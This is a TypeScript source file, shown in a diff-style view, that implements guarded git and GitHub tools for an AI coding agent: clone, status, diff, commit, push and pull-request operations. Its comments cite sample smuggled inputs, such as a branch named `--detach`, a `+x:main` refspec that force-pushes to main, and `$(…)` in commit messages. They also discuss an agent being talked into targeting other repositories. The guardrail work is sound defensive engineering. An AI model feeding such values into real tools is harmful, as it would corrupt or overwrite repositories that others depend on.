-
headers: {
|
|
431
|
-
authorization: `Bearer ${secret.token}`,
|
|
432
|
-
accept: "application/vnd.github+json",
|
|
433
|
-
"content-type": "application/json",
|
|
434
|
-
"user-agent": "da-coder"
|
|
435
|
-
},
|
|
436
|
-
...(init ? { body: JSON.stringify(init.body) } : {}),
|
|
437
|
-
signal: AbortSignal.timeout(FORGE_TIMEOUT_MS)
|
|
438
|
-
});
|
|
439
|
-
}
|
|
440
|
-
catch (err) {
|
|
441
|
-
logFailure(tool, { stderr: String(err) });
|
|
442
|
-
return {
|
|
443
|
-
ok: false,
|
|
444
|
-
message: `could not reach ${apiBase}: ${String(err)}`
|
|
445
|
-
};
|
|
446
|
-
}
|
|
447
|
-
if (!response.ok) {
|
|
448
|
-
const detail = await response.text().catch(() => "");
|
|
449
|
-
logFailure(tool, { exitCode: response.status, stderr: detail });
|
|
450
|
-
return {
|
|
451
|
-
ok: false,
|
|
452
|
-
message: `${apiBase}${path} answered ${response.status}: ${detail.slice(0, 500)}`
|
|
453
|
-
};
|
|
454
|
-
}
|
|
455
|
-
return { ok: true, data: await response.json().catch(() => ({})) };
|
|
456
|
-
};
|
|
457
|
-
/**
|
|
458
|
-
* Which repository the tools that read the forge are talking about.
|
|
459
|
-
*
|
|
460
|
-
* The checkout's own origin, never a URL the model supplies. Three reasons, in
|
|
461
|
-
* order of how much they matter: the origin has already been through the host
|
|
462
|
-
* allowlist, there is nothing new to validate; a model that can name any
|
|
463
|
-
* repository here can read any repository the token can, which is precisely
|
|
464
|
-
* the reach this plugin does not want to widen; and an agent asking about
|
|
465
|
-
* "issue 42" almost always means the repository it is working in, so the extra
|
|
466
|
-
* parameter would mostly be an extra way to be wrong.
|
|
467
|
-
*/
|
|
468
|
-
const forgeRepo = async (dir) => {
|
|
469
|
-
const { remote, unreachable } = await origin(dir);
|
|
470
|
-
if (unreachable)
|
|
471
|
-
return { refusal: bounded(unreachable) };
|
|
472
|
-
if (!remote)
|
|
473
|
-
return {
|
|
474
|
-
refusal: `${dir} has no origin on an allowed host — clone it with repo_clone first`
|
|
475
|
-
};
|
|
476
|
-
const parsed = parseRepo(remote.url, allowedHosts);
|
|
477
|
-
if (!parsed)
|
|
478
|
-
return {
|
|
479
|
-
refusal: `could not parse an owner/repo out of ${dir}'s origin`
|
|
480
|
-
};
|
|
481
|
-
return {
|
|
482
|
-
owner: encodeURIComponent(parsed.owner),
|
|
483
|
-
repo: encodeURIComponent(parsed.repo)
|
|
484
|
-
};
|
|
485
|
-
};
|
|
486
|
-
/**
|
|
487
|
-
* The origin a checkout was cloned from, re-derived rather than remembered.
|
|
488
|
-
*
|
|
489
|
-
* `repo_push` needs to know which host to offer the credential to, and the
|
|
490
|
-
* only trustworthy answer is the one recorded in the checkout itself — which
|
|
491
|
-
* `repo_clone` only ever writes after the allowlist has passed.
|
|
492
|
-
*/
|
|
493
|
-
const origin = async (dir) => {
|
|
494
|
-
const result = await plain("remote get-url origin", dir);
|
|
495
|
-
// Two different nothings. `repo_push`'s answer to "no origin here" is to
|
|
496
|
-
// tell the model to clone the repository first — advice that is actively
|
|
497
|
-
// wrong when the truth is that no command ran at all.
|
|
498
|
-
if (result.unreachable)
|
|
499
|
-
return { unreachable: result.stderr };
|
|
500
|
-
if (!result.success)
|
|
501
|
-
return {};
|
|
502
|
-
const url = result.stdout.trim();
|
|
503
|
-
const location = repoLocation(url);
|
|
504
|
-
if (!location || !allowedHosts.includes(location.host))
|
|
505
|
-
return {};
|
|
506
|
-
// The URL as well as the host: the credentialed operations run on the
|
|
507
|
-
// host's side of the boundary and take the repository as a parameter, so
|
|
508
|
-
// `origin` is a name that means nothing to them. The URL has to travel —
|
|
509
|
-
// canonicalised, since what git hands back is whatever was written into
|
|
510
|
-
// `.git/config`.
|
|
511
|
-
return { remote: { host: location.host, url: location.url } };
|
|
512
|
-
};
|
|
513
|
-
const tools = {
|
|
514
|
-
repo_clone: tool({
|
|
515
|
-
description: "Clone a git repository into the workspace. Returns the checkout path and the branch you landed on. If the repository is already checked out from an earlier task, it is fetched and reset to the remote instead — unless it has uncommitted changes, which are left alone for you to inspect.",
|
|
516
|
-
inputSchema: z.object({
|
|
517
|
-
url: z.string().describe("HTTPS repository URL"),
|
|
518
|
-
branch: z
|
|
519
|
-
.string()
|
|
520
|
-
.optional()
|
|
521
|
-
.describe("Branch to check out (default: the repo's default)"),
|
|
522
|
-
depth: z
|
|
523
|
-
.number()
|
|
524
|
-
.optional()
|
|
525
|
-
.describe("Shallow-clone depth. Omit for full history; needed if you must rebase.")
|
|
526
|
-
}),
|
|
527
|
-
execute: async ({ url, branch, depth }) => {
|
|
528
|
-
// The gate, before anything runs. `url` is model input, and a clone is
|
|
529
|
-
// the one command that hands a credential to a host it names.
|
|
530
|
-
const location = repoLocation(url);
|
|
531
|
-
if (!location || !allowedHosts.includes(location.host)) {
|
|
532
|
-
return (`refusing to clone from "${location?.host ?? url}" — this agent may ` +
|
|
533
|
-
`only clone over https from: ${allowedHosts.join(", ")}`);
|
|
534
|
-
}
|
|
535
|
-
// Everything past this point travels the canonical form, so what the
|
|
536
|
-
// host clones, what lands in `.git/config`, and what `afterCheckout`
|
|
537
|
-
// records are one string. Refusals above still quote what the model
|
|
538
|
-
// actually sent.
|
|
539
|
-
const { host, url: target } = location;
|
|
540
|
-
// Refused rather than worked around. A URL that passes the host check
|
|
541
|
-
// but names no repository is what a model copies out of a browser —
|
|
542
|
-
// `.../tree/main`, `.../pull/4` — and carrying on means cloning without
|
|
543
|
-
// telling `beforeCheckout` which repository this is, so a host keying its
|
|
544
|
-
// filesystem per repository never switches and the checkout lands in
|
|
545
|
-
// whichever workspace was already open.
|
|
546
|
-
//
|
|
547
|
-
// Not silently trimmed to the first two segments either, tempting as it
|
|
548
|
-
// is: that reads `.../orgs/x/repositories` as the repository `x`, and
|
|
549
|
-
// quietly reinterpreting the target is the wrong instinct for the one
|
|
550
|
-
// tool that offers a credential to a host on the model's say-so. A
|
|
551
|
-
// refusal costs one turn and says exactly what to send instead.
|
|
552
|
-
const parsed = parseRepo(target, allowedHosts);
|
|
553
|
-
if (!parsed) {
|
|
554
|
-
return (`refusing to clone "${url}" — it does not name a repository. ` +
|
|
555
|
-
`A clone URL is https://<host>/<owner>/<repo>, so if this came out of ` +
|
|
556
|
-
`a browser, drop everything after the repository name (the /tree/…, ` +
|
|
557
|
-
`/pull/… or /blob/… part) and try again.`);
|
|
558
|
-
}
|
|
559
|
-
// The same guard `repo_push` applies, at the second door a branch name
|
|
560
|
-
// enters by. `refreshCheckout` runs `git checkout "$REPO_BRANCH"`, and
|
|
561
|
-
// quoting stops word-splitting but *not* option parsing: a `branch` of
|
|
562
|
-
// `--detach` arrives as an option, git detaches HEAD, the `reset` that
|
|
563
|
-
// follows fails against `origin/--detach`, and the checkout a later task
|
|
564
|
-
// inherits has moved for reasons nothing reported.
|
|
565
|
-
//
|
|
566
|
-
// Checked here rather than in `refreshCheckout` because this is where
|
|
567
|
-
// model input arrives and where the message can say what to send instead.
|
|
568
|
-
// It also covers the fresh-clone path, where the name reaches
|
|
569
|
-
// isomorphic-git as a ref: no argv there, so no option to parse, but an
|
|
570
|
-
// unresolvable ref is a worse error than this sentence.
|
|
571
|
-
if (branch !== undefined && UNSAFE_BRANCH.test(branch))
|
|
572
|
-
return `"${branch}" is not a plain branch name — use something like "main"`;
|
|
573
|
-
const dir = `${workdir}/${parsed.repo}`;
|
|
574
|
-
// Before anything runs, and before `dir` is touched: a host keying its
|
|
575
|
-
// filesystem per repository needs to have switched by now. See
|
|
576
|
-
// `beforeCheckout` for why this cannot wait for the clone to finish.
|
|
577
|
-
//
|
|
578
|
-
// A throw here stops the clone, which is the exact opposite of how
|
|
579
|
-
// `afterCheckout` is treated — and the asymmetry is the point rather than
|
|
580
|
-
// an inconsistency. This hook *chooses the workspace*; carrying on past a
|
|
581
|
-
// failed one would put the checkout wherever the last task left the
|
|
582
|
-
// selection, which is the failure the hook exists to prevent. By the time
|
|
583
|
-
// `afterCheckout` runs there is a checkout on disk and the model needs to
|
|
584
|
-
// be told about it, so that one is caught and logged.
|
|
585
|
-
try {
|
|
586
|
-
config.beforeCheckout?.({
|
|
587
|
-
url: target,
|
|
588
|
-
host,
|
|
589
|
-
owner: parsed.owner,
|
|
590
|
-
repo: parsed.repo
|
|
591
|
-
});
|
|
592
|
-
}
|
|
593
|
-
catch (err) {
|
|
594
|
-
console.error("[repo] beforeCheckout failed", {
|
|
595
|
-
url,
|
|
596
|
-
repo: `${parsed.owner}/${parsed.repo}`,
|
|
597
|
-
err: String(err)
|
|
598
|
-
});
|
|
599
|
-
return (`could not select a workspace for ${parsed.owner}/${parsed.repo}: ` +
|
|
600
|
-
`${String(err)}\nNothing was cloned — going ahead would have put the ` +
|
|
601
|
-
`checkout in whichever workspace was already open.`);
|
|
602
|
-
}
|
|
603
|
-
// The workspace outlives the task, so this path may already hold the
|
|
604
|
-
// checkout a previous task left — see `refreshCheckout`.
|
|
605
|
-
const existing = await plain("rev-parse --git-dir", dir);
|
|
606
|
-
// A failed probe means "nothing here, clone it" — but only when git
|
|
607
|
-
// answered. A command that never ran means nothing, and the distinction
|
|
608
|
-
// is not academic: a replaced container is precisely the case where this
|
|
609
|
-
// call fails and the *next* one lands on a working replacement. Read as
|
|
610
|
-
// "empty", it points `git clone` at a directory that already holds the
|
|
611
|
-
// checkout — which fails with `destination path already exists` and skips
|
|
612
|
-
// the refresh that was the right answer all along.
|
|
613
|
-
if (existing.unreachable)
|
|
614
|
-
return bounded(`could not clone ${url}: ${existing.stderr}`);
|
|
615
|
-
if (existing.success) {
|
|
616
|
-
const refreshed = await refreshCheckout({
|
|
617
|
-
dir,
|
|
618
|
-
url: target,
|
|
619
|
-
branch,
|
|
620
|
-
plain,
|
|
621
|
-
fetchOrigin
|
|
622
|
-
});
|
|
623
|
-
if (refreshed.branch) {
|
|
624
|
-
await notifyCheckout({
|
|
625
|
-
dir,
|
|
626
|
-
url: target,
|
|
627
|
-
host,
|
|
628
|
-
repo: `${parsed.owner}/${parsed.repo}`,
|
|
629
|
-
branch: refreshed.branch,
|
|
630
|
-
fresh: false
|
|
631
|
-
});
|
|
632
|
-
}
|
|
633
|
-
return refreshed.message;
|
|
634
|
-
}
|
|
635
|
-
// `depth` is bounded here rather than trusted from the schema. It no
|
|
636
|
-
// longer reaches a shell, so this is arithmetic rather than quoting: a
|
|
637
|
-
// fractional or negative depth is not something to hand to git.
|
|
638
|
-
const result = await runGit(() => config.git.clone({
|
|
639
|
-
url: target,
|
|
640
|
-
dir,
|
|
641
|
-
allowedHosts,
|
|
642
|
-
...(branch ? { branch } : {}),
|
|
643
|
-
...(depth ? { depth: Math.max(1, Math.floor(depth)) } : {})
|
|
644
|
-
}));
|
|
645
|
-
if (!result.success) {
|
|
646
|
-
logFailure("repo_clone", result);
|
|
647
|
-
return bounded(`clone failed: ${result.stderr || result.stdout}`);
|
|
648
|
-
}
|
|
649
|
-
// Identity has to exist before the first commit, and a repo-local config
|
|
650
|
-
// keeps it from leaking into anything else in the container.
|
|
651
|
-
//
|
|
652
|
-
// Still written through the container, and deliberately: the commits it
|
|
653
|
-
// names are made there, by `repo_commit`, with no credential in sight.
|
|
654
|
-
// Only the three operations that talk to the forge moved.
|
|
655
|
-
await plain(`config user.name "$GIT_NAME"`, dir, {
|
|
656
|
-
GIT_NAME: author.name
|
|
657
|
-
});
|
|
658
|
-
await plain(`config user.email "$GIT_EMAIL"`, dir, {
|
|
659
|
-
GIT_EMAIL: author.email
|
|
660
|
-
});
|
|
661
|
-
// Two gits now share one `.git`, and this is where they could disagree.
|
|
662
|
-
//
|
|
663
|
-
// The container's git and the host's isomorphic-git read and write the
|
|
664
|
-
// same index. isomorphic-git understands version 2 and the extensions
|
|
665
|
-
// git writes for its own caches are not part of that contract, so a
|
|
666
|
-
// repository that picked up an untracked cache or a split index — from a
|
|
667
|
-
// `feature.manyFiles` default, or a user config in some future image —
|
|
668
|
-
// would be written by one and misread by the other. Pinned at clone
|
|
669
|
-
// time, repo-locally, where it costs three commands and cannot surprise
|
|
670
|
-
// anyone later.
|
|
671
|
-
//
|
|
672
|
-
// Unchecked deliberately, like the upstream-tracking pair in
|
|
673
|
-
// `repo_push`: git's own defaults are already these values, so a failure
|
|
674
|
-
// here means the config could not be written at all, which the very next
|
|
675
|
-
// command will say far more clearly than this one could.
|
|
676
|
-
await plain(`config index.version 2`, dir);
|
|
677
|
-
await plain(`config core.untrackedCache false`, dir);
|
|
678
|
-
await plain(`config core.splitIndex false`, dir);
|
|
679
|
-
// The clone reports the branch it landed on, so nothing has to ask git
|
|
680
|
-
// afterwards — and a failed question would fire `afterCheckout` with no
|
|
681
|
-
// branch at all, starting an install against a checkout nobody can name.
|
|
682
|
-
const landed = result.stdout.trim() || branch;
|
|
683
|
-
if (!landed) {
|
|
684
|
-
logFailure("repo_clone", result);
|
|
685
|
-
return bounded(`cloned to ${dir}, but could not read which branch it landed on`);
|
|
686
|
-
}
|
|
687
|
-
await notifyCheckout({
|
|
688
|
-
dir,
|
|
689
|
-
url: target,
|
|
690
|
-
host,
|
|
691
|
-
repo: `${parsed.owner}/${parsed.repo}`,
|
|
692
|
-
branch: landed,
|
|
693
|
-
fresh: true
|
|
694
|
-
});
|
|
695
|
-
return `cloned to ${dir} on branch ${landed}`;
|
|
696
|
-
}
|
|
697
|
-
}),
|
|
698
|
-
repo_status: tool({
|
|
699
|
-
description: "Show which files changed in the checkout.",
|
|
700
|
-
inputSchema: z.object({ dir: z.string().describe("Checkout directory") }),
|
|
701
|
-
execute: async ({ dir }) => {
|
|
702
|
-
const result = await plain("status --short", dir);
|
|
703
|
-
// "(no changes)" is a claim about the tree. A command that failed
|
|
704
|
-
// supports no claim about anything, and reporting one as the other sends
|
|
705
|
-
// the model on to commit against a repository it cannot read.
|
|
706
|
-
if (!result.success) {
|
|
707
|
-
logFailure("repo_status", result);
|
|
708
|
-
return bounded(`could not read the status of ${dir}: ${result.stderr || result.stdout}`);
|
|
709
|
-
}
|
|
710
|
-
return bounded(result.stdout.trim()) || "(no changes)";
|
|
711
|
-
}
|
|
712
|
-
}),
|
|
713
|
-
repo_diff: tool({
|
|
714
|
-
description: "Show the current diff. Read this before committing — it is the cheapest way to catch an edit that did more than you intended. Pass stat:true first on a large change to see which files moved and by how much, then read the full diff of what matters.",
|
|
715
|
-
inputSchema: z.object({
|
|
716
|
-
dir: z.string().describe("Checkout directory"),
|
|
717
|
-
staged: z.boolean().optional().describe("Show staged changes instead"),
|
|
718
|
-
stat: z
|
|
719
|
-
.boolean()
|
|
720
|
-
.optional()
|
|
721
|
-
.describe("Summarise as a per-file changed-line count instead of the full patch")
|
|
722
|
-
}),
|
|
723
|
-
execute: async ({ dir, staged, stat }) => {
|
|
724
|
-
const flags = [staged ? "--staged" : "", stat ? "--stat" : ""]
|
|
725
|
-
.filter(Boolean)
|
|
726
|
-
.join(" ");
|
|
727
|
-
const result = await plain(`diff ${flags}`, dir);
|
|
728
|
-
// Same reasoning as `repo_status`: "(no diff)" and "the diff could not
|
|
729
|
-
// be read" are opposite answers, and this is the tool a reviewing agent
|
|
730
|
-
// trusts most.
|
|
731
|
-
if (!result.success) {
|
|
732
|
-
logFailure("repo_diff", result);
|
|
733
|
-
return bounded(`could not read the diff in ${dir}: ${result.stderr || result.stdout}`);
|
|
734
|
-
}
|
|
735
|
-
// Truncated from the middle rather than the end: the head of a diff and
|
|
736
|
-
// its tail are both informative, and the middle of a large one rarely
|
|
737
|
-
// is. A model that needs the part that was dropped can ask for `stat`
|
|
738
|
-
// and then read the file.
|
|
739
|
-
return bounded(result.stdout.trim()) || "(no diff)";
|
|
740
|
-
}
|
|
741
|
-
}),
|
|
742
|
-
repo_commit: tool({
|
|
743
|
-
description: "Stage everything and commit. Write the message for a reviewer reading it in the log a year from now: what changed and why, not how.",
|
|
744
|
-
inputSchema: z.object({
|
|
745
|
-
dir: z.string().describe("Checkout directory"),
|
|
746
|
-
message: z.string().describe("Commit message")
|
|
747
|
-
}),
|
|
748
|
-
execute: async ({ dir, message }) => {
|
|
749
|
-
// Checked rather than fired and forgotten. A failed `add` leaves the
|
|
750
|
-
// index holding less than the model believes, and the commit that
|
|
751
|
-
// follows still succeeds — so the round reports a commit that quietly
|
|
752
|
-
// does not contain the change.
|
|
753
|
-
const staged = await plain("add -A", dir);
|
|
754
|
-
if (!staged.success) {
|
|
755
|
-
logFailure("repo_commit", staged);
|
|
756
|
-
return bounded(`could not stage the changes in ${dir}: ${staged.stderr || staged.stdout}`);
|
|
757
|
-
}
|
|
758
|
-
// The message is model-authored free text — quotes, backticks, newlines,
|
|
759
|
-
// `$(…)`. Expanded from the environment inside the container, all of
|
|
760
|
-
// that is inert; interpolated into the command string, none of it is.
|
|
761
|
-
const result = await plain(`commit -m "$GIT_COMMIT_MESSAGE"`, dir, {
|
|
762
|
-
GIT_COMMIT_MESSAGE: message
|
|
763
|
-
});
|
|
764
|
-
if (!result.success && /nothing to commit/i.test(result.stdout))
|
|
765
|
-
return "nothing to commit — the working tree is clean";
|
|
766
|
-
if (!result.success) {
|
|
767
|
-
logFailure("repo_commit", result);
|
|
768
|
-
return bounded(`commit failed: ${result.stderr || result.stdout}`);
|
|
769
|
-
}
|
|
770
|
-
return bounded(result.stdout.trim());
|
|
771
|
-
}
|
|
772
|
-
}),
|
|
773
|
-
repo_push: tool({
|
|
774
|
-
description: "Push a branch to the remote. Refuses to push to a protected branch and refuses to force-push — open a pull request instead.",
|
|
775
|
-
inputSchema: z.object({
|
|
776
|
-
dir: z.string().describe("Checkout directory"),
|
|
777
|
-
branch: z
|
|
778
|
-
.string()
|
|
779
|
-
.describe("Branch name to create and push, e.g. 'coder/add-json-flag'")
|
|
780
|
-
}),
|
|
781
|
-
execute: async ({ dir, branch }) => {
|
|
782
|
-
// Enforced here rather than in the prompt: a guardrail a model can talk
|
|
783
|
-
// itself out of is not a guardrail.
|
|
784
|
-
//
|
|
785
|
-
// Shape first, then the name. `git push origin <name>` reads `<name>`
|
|
786
|
-
// as a refspec, so `+x:main` is a force push to main that the name
|
|
787
|
-
// check below would wave through — it only ever sees a literal string.
|
|
788
|
-
if (UNSAFE_BRANCH.test(branch))
|
|
789
|
-
return `"${branch}" is not a plain branch name — use something like "coder/add-json-flag"`;
|
|
790
|
-
if (PROTECTED_BRANCHES.has(branch))
|
|
791
|
-
return `refusing to push to "${branch}" — push a work branch and open a pull request`;
|
|
792
|
-
// The repository's *own* default, which is often none of the four names
|
|
793
|
-
// above: a repo whose trunk is `release` deserves the same protection.
|
|
794
|
-
// A command that never ran stops here rather than standing the guards
|
|
795
|
-
// down — the same rule as the two probes further down, and the reason
|
|
796
|
-
// {@link resolveDefaultBranch} reports the two separately.
|
|
797
|
-
const head = await resolveDefaultBranch(plain, dir);
|
|
798
|
-
if (head.unreachable)
|
|
799
|
-
return bounded(`could not push "${branch}": ${head.unreachable}`);
|
|
800
|
-
const defaultBranch = head.branch;
|
|
801
|
-
if (defaultBranch && defaultBranch === branch)
|
|
802
|
-
return `refusing to push to "${branch}" — it is this repository's default branch; push a work branch and open a pull request`;
|
|
803
|
-
const { remote, unreachable } = await origin(dir);
|
|
804
|
-
if (unreachable)
|
|
805
|
-
return bounded(`could not push "${branch}": ${unreachable}`);
|
|
806
|
-
if (!remote)
|
|
807
|
-
return `${dir} has no origin on an allowed host — clone it with repo_clone first`;
|
|
808
|
-
// Switch to the branch, or create it — but never *reset* it.
|
|
809
|
-
//
|
|
810
|
-
// `-b`, never `-B`: `-B` is create-or-reset, so on a branch that already
|
|
811
|
-
// holds the commit it force-moves it to wherever HEAD is now. The commit
|
|
812
|
-
// survives only as an unreferenced object, and what gets pushed is an
|
|
813
|
-
// empty branch with a pull request opened on it — a complete loss
|
|
814
|
-
// dressed up as success.
|
|
815
|
-
const exists = await plain(`rev-parse --verify --quiet "refs/heads/$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
|
|
816
|
-
// Same reasoning as the probe in `repo_clone`: `!success` means "no such
|
|
817
|
-
// branch, create it" only when git was there to say so.
|
|
818
|
-
if (exists.unreachable)
|
|
819
|
-
return bounded(`could not push "${branch}": ${exists.stderr}`);
|
|
820
|
-
const checkout = await plain(exists.success
|
|
821
|
-
? `checkout "$REPO_BRANCH"`
|
|
822
|
-
: `checkout -b "$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
|
|
823
|
-
if (!checkout.success) {
|
|
824
|
-
logFailure("repo_push", checkout);
|
|
825
|
-
return bounded(`could not switch to branch "${branch}": ${checkout.stderr || checkout.stdout}`);
|
|
826
|
-
}
|
|
827
|
-
// Nothing to push is a bug upstream of here, not a no-op.
|
|
828
|
-
//
|
|
829
|
-
// A branch level with the default branch means the commit went
|
|
830
|
-
// somewhere else, or was never made. Pushing it succeeds, `repo_open_pr`
|
|
831
|
-
// opens an empty pull request, and the round reports a URL as if the
|
|
832
|
-
// work had landed — the one outcome worse than an error.
|
|
833
|
-
//
|
|
834
|
-
// The guard is skipped only when there is no baseline to compare
|
|
835
|
-
// against: a repository with no `origin/HEAD` is unusual but legitimate,
|
|
836
|
-
// and guessing is worse than not guarding. Once there *is* one, a
|
|
837
|
-
// comparison that fails is an unanswered question rather than a pass —
|
|
838
|
-
// the same rule the three probes around this one follow.
|
|
839
|
-
if (defaultBranch) {
|
|
840
|
-
const ahead = await plain(`rev-list --count "origin/$REPO_BASE..HEAD"`, dir, {
|
|
841
|
-
REPO_BASE: defaultBranch
|
|
842
|
-
});
|
|
843
|
-
if (ahead.unreachable)
|
|
844
|
-
return bounded(`could not push "${branch}": ${ahead.stderr}`);
|
|
845
|
-
if (!ahead.success) {
|
|
846
|
-
logFailure("repo_push", ahead);
|
|
847
|
-
return bounded(`could not tell whether "${branch}" has anything to push: comparing it ` +
|
|
848
|
-
`against origin/${defaultBranch} failed with ` +
|
|
849
|
-
`${ahead.stderr || ahead.stdout || "no output"}\n` +
|
|
850
|
-
`Nothing was pushed. Pushing without that answer risks an empty pull ` +
|
|
851
|
-
`request reported as success, so check repo_status and repo_diff first.`);
|
|
852
|
-
}
|
|
853
|
-
if (ahead.stdout.trim() === "0") {
|
|
854
|
-
return (`refusing to push "${branch}" — it has no commits that origin/${defaultBranch} ` +
|
|
855
|
-
`does not already have, so the pull request would be empty. Check repo_status ` +
|
|
856
|
-
`and repo_diff: either the change was never committed, or it was committed on ` +
|
|
857
|
-
`a different branch.`);
|
|
858
|
-
}
|
|
859
|
-
}
|
|
860
|
-
// A pre-flight check, not a value anyone downstream consumes: `push`
|
|
861
|
-
// takes the branch *name* and resolves it itself, against the same
|
|
862
|
-
// files. What this buys is the failure arriving here, where the sentence
|
|
863
|
-
// can name the branch and the checkout, instead of surfacing as a push
|
|
864
|
-
// that rejects a ref nobody can see.
|
|
865
|
-
const tip = await plain(`rev-parse --verify "refs/heads/$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
|
|
866
|
-
if (!tip.success || !tip.stdout.trim()) {
|
|
867
|
-
logFailure("repo_push", tip);
|
|
868
|
-
return bounded(`could not resolve "${branch}" to a commit: ${tip.stderr || tip.stdout}`);
|
|
869
|
-
}
|
|
870
|
-
const result = await pushBranch(dir, remote.url, branch);
|
|
871
|
-
if (!result.success) {
|
|
872
|
-
logFailure("repo_push", result);
|
|
873
|
-
return bounded(`push failed: ${result.stderr || result.stdout}`);
|
|
874
|
-
}
|
|
875
|
-
// What `--set-upstream` would do as a side effect of the push, written
|
|
876
|
-
// here because the push happens on the host's side: a subagent reaching
|
|
877
|
-
// for a bare `git push` in the shell should still find the branch
|
|
878
|
-
// tracking something.
|
|
879
|
-
//
|
|
880
|
-
// Checked, but *reported* rather than raised: this is the one place in
|
|
881
|
-
// the plugin where a failed command is not a failed operation. The push
|
|
882
|
-
// has landed, saying so is the important half, and all that is lost is
|
|
883
|
-
// the convenience these two keys buy.
|
|
884
|
-
const remoteSet = await plain(`config "branch.$REPO_BRANCH.remote" origin`, dir, { REPO_BRANCH: branch });
|
|
885
|
-
const mergeSet = await plain(`config "branch.$REPO_BRANCH.merge" "refs/heads/$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
|
|
886
|
-
const untracked = [remoteSet, mergeSet].find((r) => !r.success);
|
|
887
|
-
if (untracked) {
|
|
888
|
-
// Named apart from the push, which succeeded — a log line reading
|
|
889
|
-
// "repo_push failed" next to a branch that is on the remote is worse
|
|
890
|
-
// than no log line.
|
|
891
|
-
logFailure("repo_push (upstream tracking)", untracked);
|
|
892
|
-
return bounded(`pushed ${branch}, but could not record what it tracks: ` +
|
|
893
|
-
`${untracked.stderr || untracked.stdout}\n` +
|
|
894
|
-
`The push itself landed. The only consequence is local: a bare ` +
|
|
895
|
-
`\`git push\` from the shell will not know where to send this ` +
|
|
896
|
-
`branch, and needs \`git push -u origin ${branch}\` once.`);
|
|
897
|
-
}
|
|
898
|
-
return `pushed ${branch}`;
|
|
899
|
-
}
|
|
900
|
-
}),
|
|
901
|
-
repo_open_pr: tool({
|
|
902
|
-
description: "Open a pull request for a pushed branch and return its URL. Do this once the branch is pushed and the tests pass.",
|
|
903
|
-
inputSchema: z.object({
|
|
904
|
-
dir: z.string().describe("The checkout directory"),
|
|
905
|
-
head: z.string().describe("The branch you pushed"),
|
|
906
|
-
base: z.string().describe("The branch to merge into, e.g. 'main'"),
|
|
907
|
-
title: z.string().describe("Pull request title"),
|
|
908
|
-
body: z
|
|
909
|
-
.string()
|
|
910
|
-
.describe("Pull request description — what changed and why, and how you verified it")
|
|
911
|
-
}),
|
|
912
|
-
execute: async ({ dir, head, base, title, body }) => {
|
|
913
|
-
// The checkout's own origin, never a URL the model names — the rule the
|
|
914
|
-
// three read tools follow, and it binds harder here because this one
|
|
915
|
-
// writes. A repository named at the call site is bounded only by the
|
|
916
|
-
// host allowlist, so an agent talked into naming one could open a pull
|
|
917
|
-
// request on anything the token can write to.
|
|
918
|
-
const target = await forgeRepo(dir);
|
|
919
|
-
if ("refusal" in target)
|
|
920
|
-
return target.refusal;
|
|
921
|
-
const { owner, repo } = target;
|
|
922
|
-
const opened = await forge("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
|
|
923
|
-
if (!opened.ok)
|
|
924
|
-
// A POST whose answer never arrived may still have been received, and
|
|
925
|
-
// a blind retry is how one pull request becomes two.
|
|
926
|
-
return bounded(`${opened.message}\nIf this was a timeout rather than a rejection the ` +
|
|
927
|
-
`pull request may have been opened anyway — check with repo_pr_view ` +
|
|
928
|
-
`before retrying, or the retry will open a second one alongside it.`);
|
|
929
|
-
const data = opened.data;
|
|
930
|
-
return (data.html_url ??
|
|
931
|
-
"pull request opened, but the response carried no URL");
|
|
932
|
-
}
|
|
933
|
-
}),
|
|
934
|
-
repo_issue_view: tool({
|
|
935
|
-
description: "Read an issue or pull request from the repository you have checked out: its title, state, description and comments. Use this when a task refers to an issue number, before guessing what it asks for.",
|
|
936
|
-
inputSchema: z.object({
|
|
937
|
-
dir: z.string().describe("The checkout directory"),
|
|
938
|
-
number: z.number().int().positive().describe("Issue or PR number")
|
|
939
|
-
}),
|
|
940
|
-
execute: async ({ dir, number }) => {
|
|
941
|
-
const target = await forgeRepo(dir);
|
|
942
|
-
if ("refusal" in target)
|
|
943
|
-
return target.refusal;
|
|
944
|
-
const { owner, repo } = target;
|
|
945
|
-
// The issues endpoint, deliberately, even for a pull request: GitHub
|
|
946
|
-
// models every PR as an issue, and this is the one that carries the
|
|
947
|
-
// discussion. `repo_pr_view` is for the parts that are only a PR's.
|
|
948
|
-
const issue = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
|
|
949
|
-
if (!issue.ok)
|
|
950
|
-
return bounded(issue.message);
|
|
951
|
-
const data = issue.data;
|
|
952
|
-
const comments = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${FORGE_PAGE_SIZE}`);
|
|
953
|
-
// A failure here is not a failure of the tool: the issue itself was
|
|
954
|
-
// read, and half an answer beats none.
|
|
955
|
-
const thread = (comments.ok && Array.isArray(comments.data) ? comments.data : []);
|
|
956
|
-
// A full page means there is very likely another. Said out loud, because
|
|
957
|
-
// this thread is what the model reasons from: comments arrive oldest
|
|
958
|
-
// first, so the ones it cannot see are the most recent — the review
|
|
959
|
-
// feedback, on the pull request busy enough to have overflowed.
|
|
960
|
-
const moreComments = thread.length >= FORGE_PAGE_SIZE;
|
|
961
|
-
return bounded([
|
|
962
|
-
`#${number} ${data.title ?? "(no title)"} [${data.state ?? "?"}]` +
|
|
963
|
-
(data.pull_request ? " (pull request)" : ""),
|
|
964
|
-
`opened by ${data.user?.login ?? "unknown"}`,
|
|
965
|
-
"",
|
|
966
|
-
data.body?.trim() || "(no description)",
|
|
967
|
-
...thread.map((c) => `\n--- ${c.user?.login ?? "unknown"} ---\n${c.body?.trim() ?? ""}`),
|
|
968
|
-
...(comments.ok ? [] : [`\n(comments could not be read)`]),
|
|
969
|
-
...(moreComments
|
|
970
|
-
? [
|
|
971
|
-
`\n(showing the first ${FORGE_PAGE_SIZE} comments; the thread is ` +
|
|
972
|
-
`longer, and the newest are not among them)`
|
|
973
|
-
]
|
|
974
|
-
: [])
|
|
975
|
-
].join("\n"));
|
|
976
|
-
}
|
|
977
|
-
}),
|
|
978
|
-
repo_pr_view: tool({
|
|
979
|
-
description: "Read a pull request's state and the files it touches — whether it is mergeable, its review state, and which paths changed. Use this to check on a pull request you opened, or to see what an existing one does before duplicating it.",
|
|
980
|
-
inputSchema: z.object({
|
|
981
|
-
dir: z.string().describe("The checkout directory"),
|
|
982
|
-
number: z.number().int().positive().describe("Pull request number")
|
|
